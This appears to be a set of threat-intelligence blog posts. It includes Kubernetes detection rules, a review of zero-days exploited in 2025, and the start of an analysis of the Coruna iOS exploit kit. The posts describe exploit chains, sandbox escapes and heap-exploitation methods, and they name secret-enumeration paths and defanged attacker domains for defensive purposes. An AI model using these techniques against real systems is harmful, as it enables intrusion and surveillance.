    • Implement Immutable Cluster Backups: Protect the cluster's state (etcd) and stateful workload data (Persistent Volumes) by utilizing immutable backup repositories. This ensures that even if an attacker gains administrative access to the cluster or CI/CD pipeline and attempts to maliciously delete all resources, the backups cannot be destroyed or altered.

    • Enable Audit Logging and Threat Detection: Ensure Kubernetes Control Plane audit logs, node-level telemetry, and CI/CD pipeline logs are actively forwarded to a centralized SIEM. Deploy dedicated container threat detection capabilities to immediately alert on malicious exec commands, suspicious Kubernetes enumeration tools, or bulk data deletion attempts within the pods.

    Additional information related to securing Kubernetes.

    Detection Opportunities for Kubernetes and CI/CD

    Use Case

    MITRE ID

    Description

    Bulk Kubernetes Resource Deletion

    T1485 - Data Destruction

    Monitor Kubernetes API audit logs for bulk delete operations targeting Deployments, StatefulSets, Persistent Volume Claims, Namespaces, or ConfigMaps.

    Unsigned or Modified Container Image Deployed to Cluster

    T1525 - Implant Internal Image

    Monitor container registries and Kubernetes admission events for deployment of images that fail signature verification, lack provenance attestation, or originate from untrusted registries.

    Anomalous Kubernetes Secret Access

    T1552.007 - Unsecured Credentials: Container API

    Monitor Kubernetes audit logs for API calls to /api/v1/secrets or /api/v1/namespaces/*/secrets from service accounts or users that do not normally access secrets. 

    Alert on bulk secret enumeration and on access to secrets in sensitive namespaces.

    Unauthorized Modification to CI/CD Pipeline Configuration

    T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain

    Monitor source code repositories for modifications to CI/CD pipeline configuration files. 

    Alert on changes to pipeline definitions made by accounts that are not members of designated pipeline-owner groups, or changes pushed code outside of an approved pull request/merge request workflow.

    Privileged Container or Host Namespace Access

    T1611 - Escape to Host

    Monitor Kubernetes audit logs for pod creation or modification events requesting privileged security contexts, host namespace access, or volume mounts to sensitive host paths. These configurations allow container escape and direct access to the underlying worker node. Alert on any workload requesting these capabilities outside or pre-approved system namespaces.

    Kubernetes Audit Logging or Security Agent Tampering

    T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall

    Monitor for modifications to Kubernetes API server audit policy configurations, deletion or redirection of log export sinks, and disablement or removal of container runtime security agents. Alert on changes to cluster-level logging configurations in managed services (GKE Cloud Audit Logs, EKS Control Plane Logging, AKS Diagnostic Settings) including disablement of API server, authenticator, or scheduler log streams.

    Table 31: Detection opportunities for Kubernetes and CI/CD

    Conclusion

    Destructive attacks, including ransomware, pose a serious threat to organizations. This blog post provides practical guidance on protecting against common techniques used by threat actors for initial access, reconnaissance, privilege escalation, and mission objectives. This blog post should not be considered as a comprehensive defensive guide for every tactic, but it can serve as a valuable resource for organizations to prepare for such attacks. It is based on front-line expertise with helping organizations prepare, contain, eradicate, and recover from potentially destructive threat actors and incidents.

    Look What You Made Us Patch: 2025 Zero-Days in Review

    5 March 2026 at 15:00

    Written by: Casey Charrier, James Sadowski, Zander Work, Clement Lecigne, Benoît Sevens, Fred Plan


    Executive Summary

    Google Threat Intelligence Group (GTIG) tracked 90 zero-day vulnerabilities exploited in-the-wild in 2025. Although that volume of zero-days is lower than the record high observed in 2023 (100), it is higher than 2024’s count (78) and remained within the 60–100 range established over the previous four years, indicating a trend toward stabilization at these levels.

    In 2025, we continued to observe the structural shift, first identified in 2024, toward increased enterprise exploitation. Both the raw number (43) and proportion (48%) of vulnerabilities impacting enterprise technologies reached all-time highs, accounting for almost 50% of total zero-days exploited in 2025. We observed a sustained decrease in detected browser-based exploitation, which fell to historical lows, while seeing increased abuse of operating system vulnerabilities.

    State-sponsored espionage groups continue to prioritize edge devices and security appliances as prime entry points into victim networks, with just over half of attributed zero-day exploitation by these groups focused on these technologies. Commercial surveillance vendors (CSVs) maintained an interest in mobile and browser exploitation, adapting and expanding their exploit chains to bypass more recently implemented security boundaries and other mobile security improvements. Multiple intrusions linked to BRICKSTORM malware deployment demonstrated a range of objectives, but the targeting of technology companies demonstrated the potential theft of valuable IP to further the development of zero-day exploits.

    Key Takeaways

    1. Complexity drives higher mobile vulnerability counts.Mobile zero-day discovery counts fluctuated over the last three years, dropping from 17 in 2023 to 9 in 2024, before rebounding to 15 in 2025. As vendor mitigations evolve and increasingly prevent more simplistic exploitation, threat actors have been forced to expand or adjust their techniques. In some cases, attackers have increased the number of chained vulnerabilities to reach desired levels of access within highly protected components. Conversely, threat actors have also managed successful exploitation with fewer or singular bugs by targeting lower levels of access within a single capability, such as an application or service.
    2. Enterprise software and edge devices remain prime targets.Marking a new high, 48% of 2025’s zero-days targeted enterprise-grade technology. Increased exploitation of security and networking devices highlights the critical risk that can be posed by trusted edge infrastructure, while targeting of enterprise software exhibits the value of highly interconnected platforms that provide privileged access across networks and data assets. Networking and security appliances continued to be highly targeted, by a variety of threat actors, to gain initial access.
    3. Commercial surveillance vendors (CSVs) further reduce barriers to zero-day access. For the first time since we began tracking zero-day exploitation, we attributed more zero-days to CSVs than to traditional state-sponsored cyber espionage groups. This illustrates the expansion of access to zero-day exploitation via these vendors to a wider array of customers than ever before.
    4. People’s Republic of China (PRC)-nexus cyber espionage groups continue to dominate traditional state-sponsored espionage zero-day exploitation. Consistent with the trend we have observed for nearly a decade, in comparison to other state sponsors, PRC-nexus groups remained the most prolific users of zero-day vulnerabilities in 2025. These groups, such as UNC5221 and UNC3886, continued to focus heavily on security appliances and edge devices to maintain persistent access to strategic targets.
    5. Zero-day exploitation by financially motivated threat groups ties previous high. In 2025, we attributed the exploitation of 9 zero-days to confirmed or likely financially motivated threat groups. This nearly matches the total volume of 2023 and represents a higher proportion of all attributed vulnerabilities in 2025. 

    2026 Zero-Day Forecast

    Targets and Techniques Continue to Expand

    As certain vendors continue to drive improvements that have made vulnerability exploitation more difficult, particularly in the browser and mobile space, adversaries will continue to adapt with more expansive techniques and diverse targets. Enterprise exploitation will continue to be further enabled by the breadth of applications used across infrastructure. Increased numbers of software, devices, and applications expand attack surfaces, with successful exploitation requiring only a single point of failure to achieve a breach.

    AI Changes the Game

    We anticipate that AI will accelerate the ongoing race between attackers and defenders in 2026 creating a more dynamic threat environment. We expect adversaries will utilize AI to automate and scale attacks by accelerating reconnaissance, vulnerability discovery, and exploit development. Reducing the time required for these phases will place further pressure on defenders to better detect and respond to zero-day exploitation. At the same time, AI will empower defenders to harness tools like agentic solutions to enhance security operations. AI agents can proactively discover and help patch previously unknown security flaws, enabling vendors to neutralize vulnerabilities before exploitation. 

    Using Access for Research

    A BRICKSTORM malware campaign in 2025, attributed to PRC-nexus espionage operators, may indicate a new paradigm for zero-day exploitation where data theft has the potential to enable long-term zero-day development. Instead of just exfiltrating sensitive client data, the threat actors targeted intellectual property from the victim companies, potentially including source code and proprietary development documents. This IP could be used to discover new vulnerabilities in the vendor's software, not only posing a threat to the victims themselves but also to victims’ downstream customers.

    Scope

    This report describes what Google Threat Intelligence Group (GTIG) knows about zero-day exploitation in 2025. GTIG defines a zero-day as a vulnerability that was maliciously exploited in the wild before a patch was made publicly available. The following analysis leverages original research conducted by GTIG combined with reliable open-source reporting, though we cannot independently confirm the reports of every source. 

    Research in this space is dynamic and the numbers may adjust due to the ongoing discovery of past incidents. Our analysis represents exploitation tracked by GTIG but may not reflect all zero-day exploitation. The numbers presented here reflect our best understanding of current data, and we note that all zero-days included in our 2025 dataset have patches available. GTIG acknowledges that the trends observed and discussed in this report are based on detected and disclosed zero-days, with a cutoff date of Dec. 31, 2025. 

    A Numerical Analysis

    Zero-days by year

    Figure 1: Zero-days by year

    GTIG tracked 90 vulnerabilities that were disclosed in 2025 and exploited as zero-days. This number is consistent with a consolidating upward trend that we have observed over the last five years; the total annual volume of zero-days has fluctuated within a 60-100 range over this time period, but has remained elevated compared to pre-2021 levels. As certain categories of exploitation shift over time, whether due to vendor mitigations or newer high-value opportunities, total zero-day counts continue to appear within an expected range, rather than seeing drastic overall decreases or increases.

    Enterprise Exploitation Expands Further in 2025

    2025 zero-days in end-user vs enterprise products

    Figure 2: 2025 zero-days in end-user vs enterprise products

    Enterprise Technologies

    We identified 43 (48%) zero-days in enterprise software and appliances in 2025, up from 36 (46%) in 2024. This consistent proportion underscores the shift toward enterprise infrastructure as a structural change in the threat landscape, reflecting the value of tools that enable privilege escalation, high-level access, and broad scale of impact.

    • Security & Networking: These vulnerabilities made up about half (21) of the enterprise-related zero-days in 2025, remaining a prominent target for achieving code execution and unauthorized access via privileged infrastructure components. A lack of input validation and incomplete authorization processes were common flaws within these products, demonstrating how basic systemic failures continue to persist, but are fixable with proper implementation standards and approaches. Edge devices–often including security and networking devices–sit at the perimeter of an organization's infrastructure and remain high value targets. The absence of EDR technology on most edge devices, like routers, switches, and security appliances, can create a blind spot for defenders, making it an ideal attack surface. This limitation can hinder the ability to detect anomalies or gather host-based evidence once these devices are compromised. While 14 zero-days in 2025 were identified as affecting edge devices, this figure likely underrepresents the true scale of activity due to inhibited detection capabilities.
    • Enterprise Software: High-profile exploitation of enterprise tools and virtualization technologies demonstrates that attackers are deeply embedding themselves in critical business infrastructure. Threat actors continue to pursue the most vulnerable and exposed assets to work around mitigations that may exist in specific areas of or products within an infrastructure.

    End User Platforms and Products

    In 2025, 52% (47) of the tracked zero-days were used to exploit end-user platforms and products.

    • Operating Systems (OSs): OSs, including both desktop and mobile, were the most exploited product category in 2025, accounting for 44% (39) of all zero-days. This is a rise from previous years when comparing both raw numbers (31 in 2024, and 33 in 2023) and proportions of total zero-day exploitation (40% in 2024 and 33% in 2023). Desktop OS zero-days have fluctuated between 16 and 23 annually while maintaining a gradual upward trajectory, illustrating the foundational role of these platforms and the massive scale of effect permitted by OS-level exploitation.

    • Mobile Devices: Mobile OS exploitation in particular saw a notable increase, with a total of 15 zero-days in 2025 compared to the 9 identified in 2024. Given that we observed 17 mobile-related zero-days in 2023, the following factors likely accounted for this temporary decline and the subsequent resurgence in activity:

      • Multiple exploit chains discovered in 2025 included three or more vulnerabilities, inflating the number of individual vulnerabilities required to achieve a single objective.

      • Threat researchers discovered more complete exploit chains in 2025 than have been found in the past, when sometimes only partial chains or a single vulnerability was identified and could be accounted for.

      • Threat actors, and CSVs in particular, have found novel techniques to bypass new security boundary implementations.

    • Browsers: Browsers accounted for less than 10% of 2025 zero-day exploitation, a marked decrease from the browser-heavy years of 2021-2022. This suggests that browser hardening measures are working. However, we also assess that attackers’ operational security has improved and therefore made their actions more difficult to observe and track, potentially reducing the volume of observed exploitation in this space.

    Exploitation by Vendor

    2025 zero-day exploitation by vendor

    Figure 3: 2025 zero-day exploitation by vendor

    2025’s exploited vendors followed the same pattern we observed last year, with big tech experiencing the most zero-day exploitation and security vendors following directly behind. Big tech companies continue to dominate the user base for consumer products, making them prime targets for exploitation, particularly in desktop OSs, browsers and mobile systems. Cisco and Fortinet remain commonly targeted networking and security vendors, while Ivanti and VMware continue to see exploitation that reflects the high value threat actors place on VPNs and virtualization platforms.

    We observed 20 vendors who were exploited by just one zero-day each, further demonstrating threat actors’ success in targeting varying vendors and products to find successful footholds in desired targets.

    Types of Exploited Vulnerabilities

    As observed in prior years, zero-day exploitation was primarily used to achieve remote code execution, followed by gaining privilege escalation. These were especially common consequences in observed exploitation of big tech and security vendors. Both code execution and unauthorized access were common goals of network and edge infrastructure exploitation, displaying the advantage of exploiting high-privilege assets with widespread reach across systems and networks.

    2025 saw an array of both structural design flaws and pervasive implementation issues, exemplifying the omnipresence of known, yet prolific, problems. 

    • Injection & Deserialization: Command injection and deserialization were critical vectors in the enterprise space. These types of vulnerabilities often allow for reliable remote code execution (RCE) without the complexity of memory corruption exploits. SQL and command injection vulnerabilities were common in web-facing enterprise appliances, providing rudimentary avenues for initial access.
    • Memory Corruption: Threat actors continued to rely on memory corruption, with memory safety issues (particularly use-after-free [UAF] and out-of-bounds write) accounting for roughly 35% of the vulnerabilities. UAF weaknesses remained a top vector for user-centered products like browsers and OS kernels.
    • Access Control: The prevalence of authentication and authorization bypass vulnerabilities highlights the difficulty edge devices face in securing both the network perimeter and their own administrative interfaces.
    • Logic and Design Flaws: Frequently exploited in enterprise appliances, these issues represent fundamental architectural weaknesses where the system’s intended logic or design is inherently insecure. Because the software is behaving as designed, these flaws are harder for vendors to detect.

    Who Is Driving Exploitation

    Attributed 2025 zero-day exploitation

    Figure 4: Attributed 2025 zero-day exploitation

    Commercial Surveillance Vendor Exploitation Grows

    For the first time since we started tracking zero-day exploitation, we attributed more exploitation to CSVs than to traditional state-sponsored cyber espionage groups. Despite these actors’ increased focus on operational security that likely hinders discovery, this continues to reflect a trend we began to observe over the last several years–a growing proportion of zero-day exploitation is conducted by CSVs and/or their customers, demonstrating a slow but sure movement in the landscape. Historically, traditional state-sponsored cyber espionage groups have been the most prolific attributed users of zero-day vulnerabilities. Over the last few years, the increase of zero-day exploitation attributed to CSVs and their customers has demonstrated the growing ability of these vendors to provide zero-day access to a wider range of threat actors than ever before. 

    GTIG has reported extensively on the capabilities CSVs provide their clients as well as how many CSV customers use zero-day exploits in attacks which erode civil liberties and human rights. In late 2025, we reported on how Intellexa, a prolific procurer and user of zero-days, adapted its operations and tool suite and continues to deliver extremely capable spyware to high paying customers. 

    People’s Republic of China (PRC)-Nexus Cyber Espionage Groups Still Most Prolific 

    Although the proportion of 2025 zero-day exploitation that we attributed to traditional state-sponsored cyber espionage groups was lower than in previous years, these groups remained significant developers and users of zero-day exploits in 2025. Consistent with the trend we have observed for nearly a decade, PRC-nexus cyber espionage groups remained the most prolific users of zero-days across state actors in 2025. We attributed the use of at least 10 zero-days to assessed PRC-nexus cyber espionage groups. This was double what we attributed to these groups in 2024, but below the 12 zero-days we attributed in 2023. PRC-nexus espionage zero-day exploitation continued to focus on edge and networking devices that are difficult to monitor, allowing them to maintain long-term footholds in strategic networks. Examples of this include the exploitation of CVE-2025-21590 by UNC3886 and the exploitation of CVE-2025-0282 by UNC5221.

    Observed mass exploitation of vulnerabilities suggests that PRC-nexus espionage operators are increasingly adept at developing, sharing, and distributing exploits among themselves. Historically, zero-day exploits were closely held and leveraged only by the most resourced threat groups. Over time, however, we have observed that an increasing number of activity clusters are exploiting vulnerabilities closer to public disclosure, indicating that PRC-nexus espionage operators have potentially reduced the time to both develop exploits and distribute them among otherwise separate groups. This is reflected not only in the gradual proliferation of exploit code targeting specific vulnerabilities, but also by the shrinking gap between the public disclosure of n-day vulnerabilities and their widespread exploitation by multiple groups. 

    In sharp contrast to 2024, during which we attributed the exploitation of five zero-days to North Korean state-sponsored threat actors, we did not attribute any zero-days to North Korean groups in 2025.

    Financially Motivated Exploitation Spikes

    We tracked the exploitation in 2025 of nine zero-days by likely or confirmed financially motivated threat groups, including the reported exploitation of two zero-days in operations that led to ransomware deployment. This almost ties the previous high of 10 zero-days we attributed to financially motivated groups in 2023 and is nearly double the five zero-days we attributed to financially motivated actors in 2024. Although the total volume of zero-day exploitation we have attributed to financially motivated groups has varied year over year, the sustained presence of these threat actors in the zero-day landscape reflects their continued investment in zero-day exploit development and deployment. Financially motivated actors, including ransomware affiliates, were linked to a substantial number of enterprise exploits, reflecting a trend we observed across multiple motivations.

    • We observed zero-day exploitation by FIN11 or associated clusters in four of the last five years–2021, 2023, 2024, and 2025. In late September 2025, GTIG began tracking a new, large-scale extortion campaign by a threat actor claiming affiliation with the CL0P extortion brand, which has predominantly been used by FIN11. The actor sent a high volume of emails to executives at numerous organizations, alleging the theft of sensitive data from the victims' Oracle E-Business Suite (EBS) environments. Our analysis indicated that the CL0P extortion campaign followed months of intrusion activity targeting EBS customer environments. The threat actor exploited CVE-2025-61882 and/or CVE-2025-61884 as a zero-day against Oracle EBS customers as early as Aug. 9, 2025, weeks before a patch was available, with additional suspicious activity dating back to July 10, 2025.
    • GTIG identified UNC2165, a financially motivated group that overlaps with public reporting on Evil Corp and has prominent members in Russia, leveraging CVE-2025-8088 to distribute malware in mid-July 2025. This activity marked the first instance where we observed UNC2165 use a zero-day for initial access. Additional evidence from underground activity and VirusTotal RAR archive submissions indicate that CVE-2025-8088 was also exploited during this same period by other actors, including a threat cluster with suspected overlaps with CIGAR/UNC4895 (publicly reported as RomCom). UNC4895 is another Russian threat group that has conducted both financially motivated and espionage operations, including the exploitation of two other zero-days in 2024.

    Spotlights: Notable Threat Actor Activity and Techniques

    Browser Sandbox Escapes

    The discovery of various browser sandbox escapes in 2025 provided an opportunity to evaluate current trends and developments in this area. Analysis of those identified this year revealed a significant trend: none were generic to the browser sandbox itself (e.g., CVE-2021-37973, CVE-2023-6345, CVE-2023-2136); instead, these sandbox escapes were specifically designed to exploit components of either the underlying operating system or hardware used. This section gives a brief technical overview of these vulnerabilities.

    Operating System-Based Sandbox Escapes

    CVE-2025-2783 targeted the Chrome sandbox on Windows. The vulnerability was caused by the improper handling of sentinel OS handles (-2) that weren’t properly validated. By manipulating inter-process communication (IPC) messages via the ipcz framework, an attacker could relay these special handles back to a renderer process. The exploit allowed a compromised renderer to gain access to handles, leading to code injection within more privileged processes and ultimately to a sandbox escape.

    CVE-2025-48543 affected the Android Runtime (ART), the system that translates application bytecode into native machine instructions to improve execution speed and power efficiency. A UAF vulnerability occurred during the deserialization of Java objects, such as abstract classes, that should not be instantiable in the first place. The most notable aspect of the exploit is how the bug can be reached from a compromised Chrome renderer. On recent Android versions, the exploit sent a Binder transaction to deliver a serialized payload embedded into a Notification Parcel object. The subsequent unparceling of the malicious object caused a UAF in ART, leading to arbitrary code execution within system_server, a service that operates with system-level privileges. While this specific vulnerability class and attack vector may be new publicly, we have observed Parcel mismatch n-day vulnerabilities being exploited to achieve Chrome sandbox escapes using the same attack vector in the past.

    Device-Specific Sandbox Escapes

    CVE-2025-27038 is a UAF vulnerability in the Qualcomm Adreno GPU user-land library that can be triggered through a sequence of WebGL commands followed by a specifically crafted glFenceSync call. The vulnerability allows attackers to achieve code execution within the Chrome GPU process on Android devices. We observed in-the-wild exploitation of this vulnerability in a chain with vulnerabilities in the Chrome renderer (CVE-2024-0519) and the KGSL driver (CVE-2023-33106).

    In a similar instance, CVE-2025-6558 targeted the Mali GPU user-land library. This vulnerability was triggered by a sequence of OpenGLES calls that were not properly validated by the browser. Specifically, an out-of-bounds write was caused within the user-land driver due to the issuance of glBufferData() with the GL_TRANSFORM_FEEDBACK_BUFFER parameter while a previous glBeginTransformFeedback() operation remained active. Google addressed this issue in ANGLE by implementing validation to invalidate this specific call sequence. We observed in-the-wild exploitation of this vulnerability in a chain with vulnerabilities in the Chrome renderer (CVE-2025-5419) and in the Linux kernel's posix CPU timers implementation (CVE-2025-38352).

    Additionally, CVE-2025-14174 is a vulnerability that affected the Metal backend on Apple devices. In that case, ANGLE incorrectly communicated a buffer size during the implementation of texImage2D operation, resulting in an out-of-bounds memory access within the Metal GPU user-mode driver.

    SonicWall Full-Chain Exploit

    In late 2025, GTIG collected a multi-stage exploit for SonicWall Secure Mobile Access (SMA) 1000 series appliances. The exploit chain leveraged multiple vulnerabilities to provide either authenticated or unauthenticated remote code execution as root on a targeted appliance, including one that was being leveraged as zero-day.

    Authentication Bypass (n-day)

    The exploit can be leveraged with or without an authenticated JSESSIONID session token. When executed without a token, the exploit attempts to get one for the built-in admin user by exploiting a weakness in SSO token generation within the Central Management Server feature in SMA 1000.

    This vulnerability was patched as a part of CVE-2025-23006. It was reported to SonicWall by Microsoft Threat Intelligence Center (MSTIC), and was reportedly exploited in the wild prior to it being patched in January 2025. GTIG is currently unable to assess if prior exploitation of this vulnerability is linked to use of this new exploit chain.

    Remote Code Execution (n-day)

    Once the exploit has a valid session cookie for the target, it attempts to attain remote code execution through a deserialization vulnerability, where an object is serialized and encoded with Base64, and then passed between the web application client and the appliance server without any integrity checks. This allows an attacker to forge a malicious Java object and send it to the server, which parses the object and causes arbitrary Java bytecode to be executed. The exploit leverages this primitive to run arbitrary shell commands using a payload generated by ysoserial, a common tool used to assist with exploiting Java serialization-related vulnerabilities.

    This vulnerability was patched by encrypting objects with AES-256-ECB prior to sending them to the client, using an ephemeral key generated randomly at server startup and stored in-memory. Payloads mutated without knowledge of the key won't be successfully parsed, which mitigates the risk of deserializing untrusted objects without another vulnerability leaking the encryption key. The patch was silently released in March 2024 without a CVE.

    Local Privilege Escalation (0-day)

    After exploiting the aforementioned deserialization vulnerability, the exploit is able to execute arbitrary shell commands as the mgmt-server user, which runs the Java process hosting the management web application. To escalate to root privileges, the exploit used a zero-day in ctrl-service, a custom XML-RPC service written in Python and bound to a loopback address on port 8081. This makes it inaccessible directly to a remote attacker, but accessible after already gaining code execution on the device at a lower privilege level. While this vulnerability could be exploited when combined with a newly discovered RCE vulnerability, or with direct console/SSH access to the appliance, we've presently only observed it being chained with the RCE exploit previously discussed.

    GTIG reported this vulnerability to SonicWall, who published a patch for it in December 2025 as CVE-2025-40602. To fix this vulnerability, SonicWall added signature verification to the service to prevent it from executing unsigned files.

    DNG Vulnerabilities

    This section specifically examines samples exploiting CVE-2025-21042, a vulnerability for which GTIG has not confirmed zero-day exploitation; however, we include this discussion of the underlying exploitation techniques because zero-days CVE-2025-21043 and CVE-2025-43300 share identical exploitation conditions.

    Between July 2024 and February 2025, several suspicious image files were uploaded to VirusTotal. Thanks to a lead from Meta, these samples came to the attention of Google Threat Intelligence Group. Upon investigation of these images, we discovered that they were digital negative (DNG) images targeting the Quram library, an image parsing library specific to Samsung devices.  

    The VirusTotal submission filenames of several of these exploits indicated that these images were received over WhatsApp. The final payload, however, indicated that the exploit expects to run within the com.samsung.ipservice process. This is a Samsung-specific system service responsible for providing “intelligent” or AI-powered features to other Samsung applications, and will periodically scan and parse images and videos in Android’s MediaStore.

    When WhatsApp receives and downloads an image, it will insert the image in MediaStore. This permits downloaded WhatsApp images (and videos) to hit the image parsing attack surface within the com.samsung.ipservice application. However, WhatsApp does not intend to automatically download images from untrusted contacts. Without additional bypasses, and assuming the image is sent by an untrusted contact, a target would have to click the image to trigger the download and have it added to the MediaStore. This classifies as a “1-click” exploit. GTIG does not have any knowledge or evidence of the attacker using such a bypass to achieve 0-click exploitation.

    com.samsung.ipservice comes with a proprietary image parsing library named “Quram,” which is written in C++. The image parsing is done in-process, unsandboxed with respect to the service’s privilege. This breaks the Rule Of 2 and means a single memory corruption vulnerability can grant attackers access to everything to which com.samsung.ipservice has access, i.e. a phone’s entire MediaStore.

    This is exactly what the attackers did when they discovered a powerful memory corruption vulnerability (CVE-2025-21042), which allows controlled out-of-bounds write at controlled offsets from a heap buffer. With this single vulnerability, they were able to obtain code execution within the com.samsung.ipservice process and execute a payload with that process’ privileges.

    There were no significant hurdles for the attackers aside from some ASLR bypassing tricks. No control flow integrity mitigations, like pointer authentication code (PAC) or branch target identification (BTI), are compiled into the Quram library. This allowed the attackers to use arbitrary addresses as jump-oriented programming (JOP) gadgets and construct a bogus vtable. The scudo allocator also failed to engage proper hardening techniques. The heap spraying primitives - more or less inherent to the DNG format - are powerful and allow for a predictable heap layout, even with scudo’s randomization strategy. The absence of scudo’s “quarantine” feature on Android is also convenient for deterministically reclaiming a free’d allocation.

    This case illustrates how certain image formats can provide strong primitives out of the box for turning a single memory corruption bug into 0-click ASLR bypasses and resulting remote code execution. By corrupting the bounds of the pixel buffer using CVE-2025-21042, subsequent exploitation can occur by taking advantage of the DNG specification and its implementation.

    The bug exploited in this case is both powerful and quite shallow. As Project Zero’s Reporting Transparency illustrates, several other vulnerabilities in the same component have been discovered over the recent months.

    These types of exploits do not need to be part of long and complex exploit chains to achieve something useful for attackers. By finding ways to reach the right attack surface with a single relevant vulnerability, attackers are able to access all the images and videos of an Android’s MediaStore, posing a powerful capability for surveillance vendors.

    A more detailed technical analysis of the exploit can be found on Project Zero’s blog.

    Prioritizing Defenses and Mitigating Zero-Day Threats

    Defenders should prepare for when, not if, a compromise happens. GTIG continues to observe vulnerability exploitation as the number one initial access vector in Mandiant incident response investigations, outnumbering other vectors like stolen credentials and phishing. System architectures should be designed and built with ingrained security awareness, enabling inherent segmentation and least privilege access. Comprehensive defensive measures as well as response efforts require a real-time inventory of all assets to be audited and maintained. While not preventative, continuous monitoring and anomaly detection, within both systems and networks, paired with refined and actionable alerting capabilities is a real-time way to detect and act against threats as they occur. 

    The following is a non-comprehensive set of approaches and guidelines for defending against zero-day exploitation on both personal devices and within organizational infrastructure:

    1. Architectural Hardening & Surface Reduction

      • Infrastructure:

        • Ensure your DMZ, firewalls, and VPNs are properly segmented from critical assets, including the core network and domain controllers, in order to prevent lateral movement from compromised external components.

        • Monitor execution flow within applications in order to block unauthorized database queries and shell commands

        • Do not expose network ports of devices to the internet when not strictly required

      • Personal devices:

        • Turn off the device and/or leave the device at home when under increased risk of exploitation.

        • Put the device in before first unlock (BFU) mode and USB restricted mode when under increased risk of physical attacks.

        • Turn off cellular, WiFi and bluetooth when under increased risk of close proximity attacks.

        • Apply patches as soon as they become available.

        • Use ad blockers, configure Apple ad privacy settings, and enable the Android privacy sandbox options when possible.

        • Enable Android Advanced Protection Mode and iOS Lockdown Mode.

        • Remove applications, and disable services and features- including ones enabled by default- when not used.

    2. Advanced Detection & Behavioral Monitoring

    3. Operational Response

      • Infrastructure:

        • Maintain a Software Bill of Materials (SBoM) to reference and locate affected libraries of disclosed zero-days (e.g., Log4j) across the environment.

        • Establish a process for bypassing standard change management when vulnerabilities require immediate attention.

        • If a patch is unavailable, isolate systems and components with stop-gap measures such as disabling specific services or blocking specific ports at the perimeter.

      • Personal devices:

        • Reboot phone regularly.

        • Do not click on links or download attachments from unknown contacts.

    Prioritization is a consistent struggle for most organizations due to limited resources requiring deciding what solutions are implemented–and for every choice of where to put resources, a different security need is neglected. Know your threats and your attack surface in order to prioritize decisions for best defending your systems and infrastructure.

    Coruna: The Mysterious Journey of a Powerful iOS Exploit Kit

    3 March 2026 at 15:00

    Introduction 

    Google Threat Intelligence Group (GTIG) has identified a new and powerful exploit kit targeting Apple iPhone models running iOS version 13.0 (released in September 2019) up to version 17.2.1 (released in December 2023). The exploit kit, named “Coruna” by its developers, contained five full iOS exploit chains and a total of 23 exploits. The core technical value of this exploit kit lies in its comprehensive collection of iOS exploits, with the most advanced ones using non-public exploitation techniques and mitigation bypasses. 

    The Coruna exploit kit provides another example of how sophisticated capabilities proliferate. Over the course of 2025, GTIG tracked its use in highly targeted operations initially conducted by a customer of a surveillance vendor, then observed its deployment in watering hole attacks targeting Ukrainian users by UNC6353, a suspected Russian espionage group. We then retrieved the complete exploit kit when it was later used in broad-scale campaigns by UNC6691, a financially motivated threat actor operating from China. How this proliferation occurred is unclear, but suggests an active market for "second hand" zero-day exploits. Beyond these identified exploits, multiple threat actors have now acquired advanced exploitation techniques that can be re-used and modified with newly identified vulnerabilities.

    Following our disclosure policy, we are sharing our research to raise awareness and advance security across the industry. We have also added all identified websites and domains to Safe Browsing to safeguard users from further exploitation. The Coruna exploit kit is not effective against the latest version of iOS, and iPhone users are strongly urged to update their devices to the latest version of iOS. In instances where an update is not possible, it is recommended that Lockdown Mode be enabled for enhanced security.

    Discovery Timeline

    discovery timeline

    Figure 1: Coruna iOS exploit kit timeline

    Initial Discovery: The Commercial Surveillance Vendor Role

    In February 2025, we captured parts of an iOS exploit chain used by a customer of a surveillance company. The exploits were integrated into a previously unseen JavaScript framework that used simple but unique JavaScript obfuscation techniques.

    [16, 22, 0, 69, 22, 17, 23, 12, 6, 17].map(x => {return String.fromCharCode(x ^ 101);}).join("")
    i.p1=(1111970405 ^ 1111966034);

    The JavaScript framework used these constructs to encode strings and integers

    The framework starts a fingerprinting module collecting a variety of data points to determine if the device is real and what specific iPhone model and iOS software version it is running. Based on the collected data, it loads the appropriate WebKit remote code execution (RCE) exploit, followed by a pointer authentication code (PAC) bypass as seen in Figure 2 from the deobfuscated JavaScript.

    Deobfuscated JavaScript of the Coruna exploit kit

    Figure 2: Deobfuscated JavaScript of the Coruna exploit kit

    At that time, we recovered the WebKit RCE delivered to a device running iOS 17.2 and determined it was CVE-2024-23222, a vulnerability previously identified as a zero-day that was addressed by Apple on Jan. 22, 2024 in iOS 17.3 without crediting any external researchers. Figure 3 shows the beginning of the RCE exploit exactly how it was delivered in-the-wild with our annotations.

    How the RCE exploit leveraging CVE-2024-23222 was delivered in the wild

    Figure 3: How the RCE exploit leveraging CVE-2024-23222 was delivered in the wild

    Government-Backed Attacker Usage

    In summer 2025, we noticed the same JavaScript framework hosted on cdn.uacounter[.]com, a website loaded as a hidden iFrame on many compromised Ukrainian websites, ranging from industrial equipment and retail tools to local services and ecommerce websites. The framework was only delivered to selected iPhone users from a specific geolocation.

    The framework was identical and delivered the same set of exploits. We collected WebKit RCEs, which included CVE-2024-23222, CVE-2022-48503, and CVE-2023-43000, before the server was shut down. We alerted and worked with CERT-UA to clean up all compromised websites.

    Full Exploit Chain Collection From Chinese Scam Websites

    At the end of the year, we identified the JavaScript framework on a very large set of fake Chinese websites mostly related to finance, dropping the exact same iOS exploit kit. The websites tried to convince users to visit the websites with iOS devices, as seen in Figure 4, taken from a fake WEEX crypto exchange website.

    Pop-up on a fake cryptocurrency exchange website trying to drive users to the exploits

    Figure 4: Pop-up on a fake cryptocurrency exchange website trying to drive users to the exploits

    Upon accessing these websites via an iOS device and regardless of their geolocation, a hidden iFrame is injected, delivering the exploit kit. As an example, Figure 5 shows the same CVE-2024-23222 exploit as it was found on 3v5w1km5gv[.]xyz.

    Screenshot of CVE-2024-23222 exploit recovered from a scam site

    Figure 5: Screenshot of CVE-2024-23222 exploit recovered from a scam site

    We retrieved all the obfuscated exploits, including ending payloads. Upon further analysis, we noticed an instance where the actor deployed the debug version of the exploit kit, leaving in the clear all of the exploits, including their internal code names. That’s when we learned that the exploit kit was likely named Coruna internally. In total, we collected a few hundred samples covering a total of five full iOS exploit chains. The exploit kit is able to target various iPhone models running iOS version 13.0 (released in September 2019) up to version 17.2.1 (released in December 2023).

